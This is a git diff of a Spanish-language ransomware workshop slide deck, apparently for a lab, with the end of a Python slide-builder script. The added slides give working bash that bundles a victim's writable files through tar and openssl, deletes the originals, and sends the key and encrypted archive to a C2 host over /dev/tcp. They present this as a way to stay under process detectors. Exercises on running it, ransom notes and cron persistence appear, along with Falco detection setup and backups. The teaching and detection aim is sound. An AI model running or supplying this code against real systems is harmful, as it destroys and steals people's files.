t_offset = int(h * 0.45)
|
||||
add_pptx_table(slide, tbl_rows, l, t + t_offset, w, h - t_offset)
|
||||
else:
|
||||
ph.text = '' # vaciar placeholder
|
||||
add_pptx_table(slide, tbl_rows, l, t, w, h)
|
||||
else:
|
||||
fill_placeholder(ph, body_lines)
|
||||
|
||||
prs.save(OUTPUT)
|
||||
print(f"OK: {OUTPUT} — {len(prs.slides)} slides.")
|
||||
|
||||
if __name__ == '__main__':
|
||||
build()
|
||||
Binary file not shown.
@@ -122,6 +122,45 @@ find /home/victim -type f -writable -print0 \
|
||||
|
||||
---
|
||||
|
||||
## tar | openssl: un proceso para cifrar todo
|
||||
|
||||
`xargs -P` abre un proceso por archivo. `tar | openssl` abre **uno solo**.
|
||||
|
||||
```bash
|
||||
# todos los archivos -> un stream -> un blob cifrado
|
||||
printf '%s\0' "${TARGETS[@]}" \
|
||||
| tar --null -T - -czf - \
|
||||
| openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
|
||||
> /tmp/.vault.enc
|
||||
|
||||
# eliminar originales en batch
|
||||
printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
|
||||
```
|
||||
|
||||
desde un detector de procesos: hay **exactamente un `tar` y un `openssl` corriendo**. nada más.
|
||||
|
||||
---
|
||||
|
||||
## y encima se lleva el vault
|
||||
|
||||
no solo la clave. `tarbulk` exfiltra una copia cifrada de todos los archivos usando `/dev/tcp`, sin `curl`, sin herramientas externas.
|
||||
|
||||
```bash
|
||||
# clave al C2 por tcp/9090
|
||||
printf 'GET /?k=%s&v=%s HTTP/1.0\r\nHost: %s\r\n\r\n' \
|
||||
"$KEY" "$VICTIM_IP" "$C2" > /dev/tcp/"$C2"/9090
|
||||
|
||||
# vault cifrado al C2 por tcp/9091
|
||||
{ printf 'POST /vault/%s HTTP/1.0\r\nContent-Length: %d\r\n\r\n' \
|
||||
"$VICTIM_IP" "$(stat -c%s /tmp/.vault.enc)"
|
||||
cat /tmp/.vault.enc
|
||||
} > /dev/tcp/"$C2"/9091
|
||||
```
|
||||
|
||||
aunque pagues, el atacante ya tiene tus archivos. el rescate no garantiza nada.
|
||||
|
||||
---
|
||||
|
||||
## La ventana de detección se cierra
|
||||
|
||||
Benchmark real, root, servidor, `xargs -P 36`:
|
||||
@@ -295,7 +334,29 @@ Con `tarbulk`: el único momento de intervención real es **antes** de que empie
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 4: Nota de rescate
|
||||
## Ejercicio 4: tarbulk en acción
|
||||
|
||||
restaura el snapshot y ejecuta la variante `tar | openssl`:
|
||||
|
||||
```bash
|
||||
KEY=$(openssl rand -hex 32)
|
||||
mapfile -d '' TARGETS < <(find /home/victim -type f -writable -print0)
|
||||
|
||||
time printf '%s\0' "${TARGETS[@]}" \
|
||||
| tar --null -T - -czf - \
|
||||
| openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
|
||||
> /tmp/.vault.enc
|
||||
|
||||
printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
|
||||
```
|
||||
|
||||
en otra terminal durante el ataque: `watch -n0.5 'ps aux | grep -E "tar|openssl"'`
|
||||
|
||||
**¿cuántos procesos viste? ¿en cuántos segundos desapareció `/home/victim`?**
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 5: Nota de rescate
|
||||
|
||||
```bash
|
||||
find / -type d -writable -print0 \
|
||||
@@ -308,7 +369,7 @@ wall /home/victim/LEEME_URGENTE.txt
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 5: Persistencia
|
||||
## Ejercicio 6: Persistencia
|
||||
|
||||
```bash
|
||||
(crontab -l 2>/dev/null; echo \
|
||||
@@ -324,7 +385,7 @@ Crea un archivo `.txt` nuevo. Espera 5 minutos. ¿Qué pasó?
|
||||
|
||||
---
|
||||
|
||||
## Ejercicio 6: Forense post-ataque
|
||||
## Ejercicio 7: Forense post-ataque
|
||||
|
||||
```bash
|
||||
# ¿Qué quedó en auth.log?
|
||||
@@ -388,6 +449,84 @@ Lo que hay que buscar:
|
||||
|
||||
---
|
||||
|
||||
## Detección comportamental: Falco
|
||||
|
||||
**Falco** intercepta syscalls en tiempo real vía eBPF y dispara alertas cuando el comportamiento rompe una regla, no cuando hay una firma conocida.
|
||||
|
||||
- Sin agente en userspace frágil
|
||||
- Reglas en YAML, legibles por humanos
|
||||
- Se integra con cualquier SIEM vía Falcosidekick
|
||||
|
||||
---
|
||||
|
||||
## Instalar Falco: Debian / Ubuntu
|
||||
|
||||
```bash
|
||||
curl -fsSL https://falco.org/repo/falcosecurity-packages.asc \
|
||||
| sudo gpg --dearmor \
|
||||
-o /usr/share/keyrings/falco-archive-keyring.gpg
|
||||
|
||||
echo "deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] \
|
||||
https://download.falco.org/packages/deb stable main" \
|
||||
| sudo tee -a /etc/apt/sources.list.d/falcosecurity.list
|
||||
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y apt-transport-https dialog
|
||||
sudo apt-get install -y falco
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Instalar Falco: RHEL / Rocky / Fedora
|
||||
|
||||
```bash
|
||||
sudo rpm --import \
|
||||
https://falco.org/repo/falcosecurity-packages.asc
|
||||
|
||||
sudo curl -o /etc/yum.repos.d/falcosecurity.repo \
|
||||
https://falco.org/repo/falcosecurity-rpm.repo
|
||||
|
||||
sudo yum update -y
|
||||
sudo yum install -y dialog
|
||||
sudo yum install -y falco
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Desplegar las reglas QueComanTierra
|
||||
|
||||
```bash
|
||||
# Clonar el repositorio del taller
|
||||
git clone https://git.resacachile.cl/anti/workshops /opt/workshops
|
||||
|
||||
# Copiar reglas al directorio de Falco
|
||||
cp /opt/workshops/QueComanTierra/detection/falco_rules.yaml \
|
||||
/etc/falco/rules.d/tarssl.yaml
|
||||
|
||||
# Recargar todos los servicios de Falco
|
||||
systemctl restart falco-* --all
|
||||
```
|
||||
|
||||
Las reglas viven en `/etc/falco/rules.d/`. Falco las carga automáticamente sin tocar la config base.
|
||||
|
||||
---
|
||||
|
||||
## Verificar que las reglas están activas
|
||||
|
||||
```bash
|
||||
# Ver reglas cargadas
|
||||
falco --list | grep -E "OpenSSL|TCP|Deletion|Encrypted"
|
||||
|
||||
# Ver logs en tiempo real
|
||||
journalctl -fu falco
|
||||
|
||||
# Probar: lanzar openssl enc desde bash
|
||||
echo "test" | openssl enc -aes-256-cbc -pass pass:test -pbkdf2
|
||||
# → Debe aparecer WARNING en journalctl
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Prevención: backups inmutables
|
||||
|
||||
```bash
|
||||
|
||||
Binary file not shown.
Reference in New Issue
Block a user